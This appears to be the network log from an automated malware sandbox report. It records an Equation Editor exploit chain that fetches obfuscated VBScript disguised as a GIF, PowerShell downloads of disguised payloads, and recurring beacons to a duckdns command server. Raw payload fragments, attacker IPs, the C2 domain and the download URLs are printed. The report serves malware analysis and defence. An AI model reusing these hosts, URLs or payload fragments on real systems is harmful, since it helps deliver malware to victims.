                            Jul 26, 2024 15:00:07.888545036 CEST4916980192.168.2.22178.237.33.50
                            Jul 26, 2024 15:00:07.893496037 CEST8049169178.237.33.50192.168.2.22
                            Jul 26, 2024 15:00:07.893578053 CEST4916980192.168.2.22178.237.33.50
                            Jul 26, 2024 15:00:07.893758059 CEST4916980192.168.2.22178.237.33.50
                            Jul 26, 2024 15:00:07.899322987 CEST8049169178.237.33.50192.168.2.22
                            Jul 26, 2024 15:00:08.528723955 CEST8049169178.237.33.50192.168.2.22
                            Jul 26, 2024 15:00:08.528913021 CEST4916980192.168.2.22178.237.33.50
                            Jul 26, 2024 15:00:08.565068007 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:00:08.566759109 CEST4916814645192.168.2.22192.210.214.9
                            Jul 26, 2024 15:00:08.573396921 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:00:08.573450089 CEST4916814645192.168.2.22192.210.214.9
                            Jul 26, 2024 15:00:08.578361034 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:00:10.488552094 CEST8049169178.237.33.50192.168.2.22
                            Jul 26, 2024 15:00:10.488758087 CEST4916980192.168.2.22178.237.33.50
                            Jul 26, 2024 15:00:10.491358995 CEST8049169178.237.33.50192.168.2.22
                            Jul 26, 2024 15:00:10.491517067 CEST4916980192.168.2.22178.237.33.50
                            Jul 26, 2024 15:00:10.491921902 CEST8049169178.237.33.50192.168.2.22
                            Jul 26, 2024 15:00:10.492079973 CEST4916980192.168.2.22178.237.33.50
                            Jul 26, 2024 15:00:10.496798992 CEST8049169178.237.33.50192.168.2.22
                            Jul 26, 2024 15:00:10.496975899 CEST4916980192.168.2.22178.237.33.50
                            Jul 26, 2024 15:00:38.607203960 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:00:38.608705997 CEST4916814645192.168.2.22192.210.214.9
                            Jul 26, 2024 15:00:38.614242077 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:01:08.576081991 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:01:08.578603029 CEST4916814645192.168.2.22192.210.214.9
                            Jul 26, 2024 15:01:08.584599018 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:01:38.576059103 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:01:38.577225924 CEST4916814645192.168.2.22192.210.214.9
                            Jul 26, 2024 15:01:38.582143068 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:01:39.803972006 CEST4916980192.168.2.22178.237.33.50
                            Jul 26, 2024 15:01:39.809205055 CEST8049169178.237.33.50192.168.2.22
                            Jul 26, 2024 15:02:08.578016996 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:02:08.579600096 CEST4916814645192.168.2.22192.210.214.9
                            Jul 26, 2024 15:02:08.587250948 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:02:38.575387001 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:02:38.576623917 CEST4916814645192.168.2.22192.210.214.9
                            Jul 26, 2024 15:02:38.581454039 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:03:08.626239061 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:03:08.629888058 CEST4916814645192.168.2.22192.210.214.9
                            Jul 26, 2024 15:03:08.636799097 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:03:38.670582056 CEST1464549168192.210.214.9192.168.2.22
                            Jul 26, 2024 15:03:38.675101995 CEST4916814645192.168.2.22192.210.214.9
                            Jul 26, 2024 15:03:38.680547953 CEST1464549168192.210.214.9192.168.2.22

                            UDP Packets

                            TimestampSource PortDest PortSource IPDest IP
                            Jul 26, 2024 15:00:03.891184092 CEST5456253192.168.2.228.8.8.8
                            Jul 26, 2024 15:00:04.893018961 CEST5456253192.168.2.228.8.8.8
                            Jul 26, 2024 15:00:05.907001019 CEST5456253192.168.2.228.8.8.8
                            Jul 26, 2024 15:00:06.142357111 CEST53545628.8.8.8192.168.2.22
                            Jul 26, 2024 15:00:06.146919966 CEST53545628.8.8.8192.168.2.22
                            Jul 26, 2024 15:00:07.870893955 CEST5291753192.168.2.228.8.8.8
                            Jul 26, 2024 15:00:07.881522894 CEST53529178.8.8.8192.168.2.22
                            Jul 26, 2024 15:00:08.897707939 CEST53545628.8.8.8192.168.2.22

                            ICMP Packets

                            TimestampSource IPDest IPChecksumCodeType
                            Jul 26, 2024 15:00:06.147111893 CEST192.168.2.228.8.8.8d01d(Port unreachable)Destination Unreachable
                            Jul 26, 2024 15:00:08.897902012 CEST192.168.2.228.8.8.8d00d(Port unreachable)Destination Unreachable

                            DNS Queries

                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                            Jul 26, 2024 15:00:03.891184092 CEST192.168.2.228.8.8.80x5ae2Standard query (0)2024remcmon.duckdns.orgA (IP address)IN (0x0001)false
                            Jul 26, 2024 15:00:04.893018961 CEST192.168.2.228.8.8.80x5ae2Standard query (0)2024remcmon.duckdns.orgA (IP address)IN (0x0001)false
                            Jul 26, 2024 15:00:05.907001019 CEST192.168.2.228.8.8.80x5ae2Standard query (0)2024remcmon.duckdns.orgA (IP address)IN (0x0001)false
                            Jul 26, 2024 15:00:07.870893955 CEST192.168.2.228.8.8.80x2aafStandard query (0)geoplugin.netA (IP address)IN (0x0001)false

                            DNS Answers

                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                            Jul 26, 2024 15:00:06.142357111 CEST8.8.8.8192.168.2.220x5ae2No error (0)2024remcmon.duckdns.org192.210.214.9A (IP address)IN (0x0001)false
                            Jul 26, 2024 15:00:06.146919966 CEST8.8.8.8192.168.2.220x5ae2No error (0)2024remcmon.duckdns.org192.210.214.9A (IP address)IN (0x0001)false
                            Jul 26, 2024 15:00:07.881522894 CEST8.8.8.8192.168.2.220x2aafNo error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false
                            Jul 26, 2024 15:00:08.897707939 CEST8.8.8.8192.168.2.220x5ae2Server failure (2)2024remcmon.duckdns.orgnonenoneA (IP address)IN (0x0001)false

                            HTTP Request Dependency Graph

                            • 192.3.176.154
                            • 198.46.176.133
                            • geoplugin.net

                            HTTP Packets

                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            0192.168.2.2249165192.3.176.15480532C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 14:59:57.093420982 CEST346OUTGET /xampp/glo/createactiveimagesbeautygirlfrnd.gIF HTTP/1.1
                            Accept: */*
                            Accept-Encoding: gzip, deflate
                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                            Host: 192.3.176.154
                            Connection: Keep-Alive
                            Jul 26, 2024 14:59:57.613403082 CEST1236INHTTP/1.1 200 OK
                            Date: Fri, 26 Jul 2024 12:59:57 GMT
                            Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                            Last-Modified: Fri, 26 Jul 2024 03:39:13 GMT
                            ETag: "685aa-61e1e414b4f70"
                            Accept-Ranges: bytes
                            Content-Length: 427434
                            Keep-Alive: timeout=5, max=100
                            Connection: Keep-Alive
                            Content-Type: image/gif
                            Data Raw: ff fe 64 00 69 00 6d 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 0d 00 0a 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 3d 00 20 00 72 00 65 00 67 00 61 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 70 00 61 00 6c 00 70 00 61 00 62 00 69 00 6c 00 69 00 7a 00 61 00 72 00 22 00 29 00 20 00 26 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 61 00 6e 00 65 00 67 00 61 00 6c 00 68 00 61 00 72 00 22 00 29 00 20 00 26 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 6e 00 65 00 62 00 6c 00 69 00 6e 00 61 00 72 00 22 00 29 00 20 00 26 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 [TRUNCATED]
                            Data Ascii: dim posual posual = regainautenticidade("palpabilizar") & posual & _inautenticidade("anegalhar") & posual & _inautenticidade("neblinar") & posual & _inautenticidade("aviamento") & posual & _inautenticidade("X_HelpUris_005_0_Message") & posual & _inautenticidade("cimbro") & posual & _inautenticidade("tarambola") & posual & _inautenticidade("X_HelpUris_008_0_Message") & posual & _inautenticidade("X_HelpUris_009_0_Message") & posual & _i
                            Jul 26, 2024 14:59:57.613840103 CEST1236INData Raw: 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 58 00 5f 00 48 00 65 00 6c 00 70 00 55 00 72 00 69 00 73 00 5f 00 30 00 31 00 30 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00
                            Data Ascii: nautenticidade("X_HelpUris_010_0_Message") & posual & _inautenticidade("L_HelpUris_011_0_Message") & posual & _inauten
                            Jul 26, 2024 14:59:57.613877058 CEST1236INData Raw: 67 00 65 00 22 00 29 00 20 00 26 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00
                            Data Ascii: ge") & posual & _inautenticidade("L_HelpUris_015_5_Message") & posual & _inautenticidade("L_HelpUris_015_6_Message") &
                            Jul 26, 2024 14:59:57.616844893 CEST1236INData Raw: 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 63 00 6f 00 6e 00 73 00 6f 00 6e 00 61 00 72 00 22 00 29 00 20 00 26 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00
                            Data Ascii: nticidade("consonar") & posual & _inautenticidade("X_Help_SeeAlso_Input_Message") & posual & _inautenticidade("X_Help_
                            Jul 26, 2024 14:59:57.616878986 CEST1236INData Raw: 64 00 65 00 28 00 22 00 58 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 38 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 45 00
                            Data Ascii: de("X_HelpAlias_008_0_Message") & posualE & _inautenticidade("X_HelpAlias_009_0_Message") & posualE & _inautenticidade
                            Jul 26, 2024 14:59:57.620553017 CEST1236INData Raw: 0d 00 0a 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 31 00 5f 00 30 00 5f 00 4d 00 65 00
                            Data Ascii: inautenticidade("L_HelpAlias_001_0_Message") & eposualE & _inautenticidade("L_HelpAlias_002_0_Message") & eposualE &
                            Jul 26, 2024 14:59:57.620587111 CEST1236INData Raw: 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 31 00 31 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00
                            Data Ascii: tenticidade("L_HelpAlias_011_0_Message") & eposualE & _inautenticidade("x_HelpAlias_012_0_Message") & eposualE & _inau
                            Jul 26, 2024 14:59:57.622430086 CEST1236INData Raw: 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6f 00 65 00 70 00 6f 00 73 00 75 00 61 00 6c 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00
                            Data Ascii: _Message") & oeposualE & _inautenticidade("X_HelpAlias_004_0_Message") & oeposualE & _inautenticidade("X_HelpAlias_005
                            Jul 26, 2024 14:59:57.622462988 CEST1236INData Raw: 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6f 00 65 00 70 00 6f 00 73 00 75 00 61 00 6c 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00
                            Data Ascii: _0_Message") & oeposualE & _inautenticidade("L_HelpAlias_014_0_Message") & oeposualE & _inautenticidade("X_HelpAlias_0
                            Jul 26, 2024 14:59:57.625365019 CEST1236INData Raw: 72 00 6f 00 20 00 6c 00 65 00 6e 00 67 00 74 00 68 00 20 00 23 00 22 00 0d 00 0a 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 49 00 4e 00 56 00 4f 00 50 00 54 00 5f 00 45 00 72 00 72 00 6f 00
                            Data Ascii: ro length #"private const L_INVOPT_ErrorMessage = "Switch not allowed with the given operation: "private const L_U
                            Jul 26, 2024 14:59:57.625397921 CEST1236INData Raw: 61 00 6e 00 64 00 20 00 65 00 6e 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 71 00 75 00 6f 00 74 00 65 00 73 00 3a 00 20 00 22 00 0d 00 0a 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 42 00
                            Data Ascii: and end with quotes: "private const L_BADMATCNT1_Message = "Unexpected match count - one match is expected: "priv


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            1192.168.2.2249166198.46.176.133803172C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 15:00:00.148444891 CEST79OUTGET /Upload/vbs.jpeg HTTP/1.1
                            Host: 198.46.176.133
                            Connection: Keep-Alive
                            Jul 26, 2024 15:00:00.875454903 CEST1236INHTTP/1.1 200 OK
                            Date: Fri, 26 Jul 2024 13:00:00 GMT
                            Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                            Last-Modified: Wed, 10 Jul 2024 11:19:54 GMT
                            ETag: "1d7285-61ce2d35c4b0c"
                            Accept-Ranges: bytes
                            Content-Length: 1929861
                            Keep-Alive: timeout=5, max=100
                            Connection: Keep-Alive
                            Content-Type: image/jpeg
                            Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                            Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5*sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/*Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B*,xGU5Pay'rErv^uYt7*0ur$UxA-OF9>uI^O^gy4A
                            Jul 26, 2024 15:00:00.875576019 CEST1236INData Raw: 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e e2 4a 8e 39 fe 78 02 c9 15 df 24 ae de 08 e7 2c 17 69 24 8e 7b 60 55 94 81 c7 4c a8 bb e3 ae 15 ce e5 07 b6 50 29 ea 0d 60 10 48 c8 01 dc 6f b8 39 7f 3d ea fd 23 e0 3b e0 36 37 b7 d7 2c 8b 66 89 a0 d8 06 67 04
                            Data Ascii: pC.J9x$,i${`ULP)`Ho9=#;67,fg+{NmXm2CS(+"]meHR87j(3N{d"a``QX;e0`Y8l`XLOn{eXadN(ma]pQrXpIJI:
                            Jul 26, 2024 15:00:00.875591040 CEST1236INData Raw: 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a
                            Data Ascii: cLp\`6d)$,ec)q(6>h|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV1SG*A13E0DoE~52>)X5OnFQM*uQMVy#o\>5$0!\DYX`
                            Jul 26, 2024 15:00:00.875952959 CEST1236INData Raw: eb 61 9b 1b 8e 59 08 20 77 ef 81 b5 2f 89 15 06 c9 2d 5c 6d c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70
                            Data Ascii: aY w/-\mTr7qLz2iO7ZsiA%nGR?{O|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+ED
                            Jul 26, 2024 15:00:00.875967979 CEST1236INData Raw: 57 5c 80 2a 60 74 ef 64 8b 00 03 63 8e 98 1e 82 09 cb 79 72 9a da 0d d1 1c e0 55 27 3a a2 c1 88 8d 89 24 5f e9 81 f0 fd e8 19 a5 05 a4 6e 83 fc 39 a0 a4 35 58 1f 2b c0 4b 59 a2 d2 95 f3 59 5c 16 34 0a 11 c6 66 a4 fa 8d 1b 95 0c 5e 26 fe 12 6c 30
                            Data Ascii: W\*`tdcyrU':$_n95X+KYY\4f^&l0*8<KHSQ7Y3&S\p)3v'r:/>2HPscb.F$e%*z*IMJ.D7}##H ml6fm"7LyF
                            Jul 26, 2024 15:00:00.875983000 CEST1236INData Raw: 06 4f 0b d1 be 96 3d 34 91 ab 2a 0a 56 dd 44 fc 6f df 03 c5 b9 32 29 42 6c d7 5a ba c1 4e ab b5 4a a6 c2 a2 98 ef 27 77 c6 b3 d1 ff 00 f0 c7 fd a9 48 d4 a9 80 9b 60 45 30 1f 0c 3e a7 c1 f4 d0 68 e6 54 49 5c b0 f4 95 50 cc be d5 df ae 07 8f 50 c6
                            Data Ascii: O=4*VDo2)BlZNJ'wH`E0>hTI\PP@"c4J22)Fpc,i^Hm4q`w12>8miUnq`f7m(/=EDZ}=>G7'BfHH8iV;B?{<i3nYvb}<
                            Jul 26, 2024 15:00:00.876735926 CEST1236INData Raw: 0d 34 6e c8 f4 ec 25 2c 79 da 45 d0 fc ab 03 61 20 d3 6d dd b1 16 bd 94 56 56 5d 3e 92 65 37 1a 5d 75 0b 99 9a 6d 43 a4 c1 0e 9a c9 dc 4b 95 da c3 9e e7 f8 b1 d9 4b ad 3a 00 3e 7d 30 31 fc 69 61 85 16 38 c2 07 2d b8 ed 51 d2 b1 3d 0a 22 d3 b9 a2
                            Data Ascii: 4n%,yEa mVV]>e7]umCKK:>}01ia8-Q="O_!;jzEcn'J]h0T5xr]UC*K)\Foi2(3++GE/&8eU[:dW)V?L(D(E7,h$`c}f )*nsgS
                            Jul 26, 2024 15:00:00.876751900 CEST1236INData Raw: 47 2d be 6b bb a0 06 3f 04 cd 0a 82 f0 2c 8a dc 0d d8 1e b9 be da e9 18 d7 95 29 3d bd 57 94 7f b7 3a 54 50 7e eb 2b 3d 55 93 9e 6a 2d 56 9b 54 ac 53 49 12 95 34 48 26 ef 17 95 d7 cc 56 11 2f c4 73 c6 07 a8 9b ed f6 8a 14 2c 74 ce 1a ba 6e ac cb
                            Data Ascii: G-k?,)=W:TP~+=Uj-VTSI4H&V/s,tnK MCsnk}0i>?3_cFi7AlSxtQMFzxYl``sA#~j9}$j}0=pk`ESqHx1>~M.#z_
                            Jul 26, 2024 15:00:00.876765013 CEST1236INData Raw: 3a 99 d6 dd ca ee 08 39 b5 20 96 f8 90 cc 09 cc fd 27 88 be 9f 49 a9 63 23 22 95 65 76 50 3d 41 81 1b 78 17 54 4e 01 24 f0 ff 00 0e d2 6b df 67 87 4a 49 a8 80 91 1e 22 24 60 76 95 2c c7 72 fa 4f 2d 5d af a9 cf 36 f3 69 54 ca 93 c3 b9 dc ee 49 76
                            Data Ascii: :9 'Ic#"evP=AxTN$kgJI"$`v,rO-]6iTIv14jpIF.UbX$Yi|*QUB81k}w1"eP}0cQ!K*AN=5; oVuvH[J}I#k&>$"d)v
                            Jul 26, 2024 15:00:00.877350092 CEST1236INData Raw: e0 67 6d c5 09 50 73 52 24 48 68 f9 44 b3 77 1d f0 00 be 1c 8d 09 7d c4 1b e9 8e 26 91 5f 44 04 67 d4 3a 7b 93 f1 cd 08 d0 08 8b 88 5b 81 7c f7 39 63 ab 54 8e 35 8e 05 5e 79 38 19 51 46 9a 92 f1 3a 95 65 50 2c 71 cd f2 79 c1 6a 22 68 11 63 0d 61
                            Data Ascii: gmPsR$HhDw}&_Dg:{[|9cT5^y8QF:eP,qyj"hca]4hv!)Q#=qr%N'IG[u{AMB<!lsR>C!6yx$XjO~k !<=o4s$,fYz,q*t*Ux+,NG*)UeUe
                            Jul 26, 2024 15:00:00.877367020 CEST1236INData Raw: 1d bc 4e 78 3c 18 cf 20 06 49 5b 6c 6b 5c 02 6e b9 f6 eb 87 9f 4d e2 6d 0f 99 0e b8 34 86 ed 55 56 af b8 07 03 40 09 37 72 48 f6 ac 29 91 c8 0c c0 0a 1c 57 7f 9e 23 e1 52 6a df 4b bf 56 de b2 68 02 a0 1f 6e d8 fb 80 c4 03 db 03 cc 78 9c 1a d8 b5
                            Data Ascii: Nx< I[lk\nMm4UV@7rH)W#RjKVhnxZ$T}&6FhQ&2+eEqv<G+ZGO!"=y#_o^m Pq.by/Dh-6q'@4)*}eb-G=\r(,}if,


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            2192.168.2.2249167192.3.176.154803172C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 15:00:02.561816931 CEST80OUTGET /xampp/glo/KBV.txt HTTP/1.1
                            Host: 192.3.176.154
                            Connection: Keep-Alive
                            Jul 26, 2024 15:00:03.040941954 CEST1236INHTTP/1.1 200 OK
                            Date: Fri, 26 Jul 2024 13:00:02 GMT
                            Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                            Last-Modified: Fri, 26 Jul 2024 01:22:35 GMT
                            ETag: "a1000-61e1c58a4d3b3"
                            Accept-Ranges: bytes
                            Content-Length: 659456
                            Keep-Alive: timeout=5, max=100
                            Connection: Keep-Alive
                            Content-Type: text/plain
                            Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 51 58 4d 77 42 41 41 41 77 49 41 48 41 42 41 41 41 67 50 6b 36 44 6b 2b 67 6f 50 30 35 44 62 2b 51 6d 50 63 35 44 57 2b 41 6c 50 38 34 44 4e 2b 41 69 50 59 34 44 45 2b 67 67 50 45 34 44 41 39 77 66 50 34 33 44 38 39 77 65 50 6b 33 44 30 39 67 63 50 30 32 44 72 39 51 61 50 63 32 44 65 39 41 [TRUNCATED]
                            Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDexQXMwBAAAwIAHABAAAgPk6Dk+goP05Db+QmPc5DW+AlP84DN+AiPY4DE+ggPE4DA9wfP43D89wePk3D09gcP02Dr9QaPc2De9AXPo1DZ9gUPo0DJ9gAPozDy8gKPIyDa8gEPowDC7g+OIvDq7g4OotDS7gyOIoD66gsOoqDi6gmOIpDK6QiOIkD65gcOomDi5wWOolDY5AUOgkDA4AOOAjDo4AIOghDQ4ACOEcD+3g9N4eDm3g3NYdDO3ghN4bD52wtNYbD02gsNAbDv2ApNIaDf2glNIZDR2giNkYDD2ggNAUD51AeNYXDp1gZN4VDb1AUNsUDJ1ASNcUDF1wQNEQD80gONkTD40gNNQTDy0QLNsSDm0AJNMSDi0AIN4RDc0wFNURDU0gENARDO0QDNYQDFzw/MsPDuzA7MkODlzA2MYNDTzwzMIMDAyQvMkLDsygqMcKDjyglMQJDRyQjMAED+xweMcHDqxAaMUGDhxAVMIFDPxwCM4DD8wQOMcDD1wAKMYCDjwQIM8BDSwAEM0ADLwQCAAEAkAYA4AAAA/A/Po/D3/w8PY+Dk/Q4P09DQ/gzPs8DH/wgP47Dt+wqPg6Dk+AoPs5DK+AiPU4DB9AdPInDe5AWOYlDV5AVOAlDP5wSOUkDD5gQOEkDA4wPO4jD64QOOUjDv4QLOwiDr4
                            Jul 26, 2024 15:00:03.040967941 CEST1236INData Raw: 67 4b 4f 6b 69 44 6f 34 41 4a 4f 4d 69 44 66 34 51 47 4f 63 68 44 57 34 51 46 4f 51 68 44 54 34 77 44 4f 34 67 44 4b 34 41 42 4f 49 67 44 42 34 41 77 4e 38 66 44 2b 33 67 2b 4e 6b 66 44 31 33 77 37 4e 30 65 44 73 33 77 36 4e 63 65 44 6d 33 67 34
                            Data Ascii: gKOkiDo4AJOMiDf4QGOchDW4QFOQhDT4wDO4gDK4ABOIgDB4AwN8fD+3g+NkfD13w7N0eDs3w6NceDm3g4NEeDd3w1NUdDU3A0NocDI3wxNYcDF3QgNsbD62AtNIbDx2AsN8aDu2gqNkaDl2wnN0ZDc2AmNcZDT2QjNsYDK2QiNUYDE2AQNoXD41wdNYXD11QcNAXDs1gZNQWDj1gYNEWDd1AXNgVDS1AUN8UDO1gSNkUDF0wPN
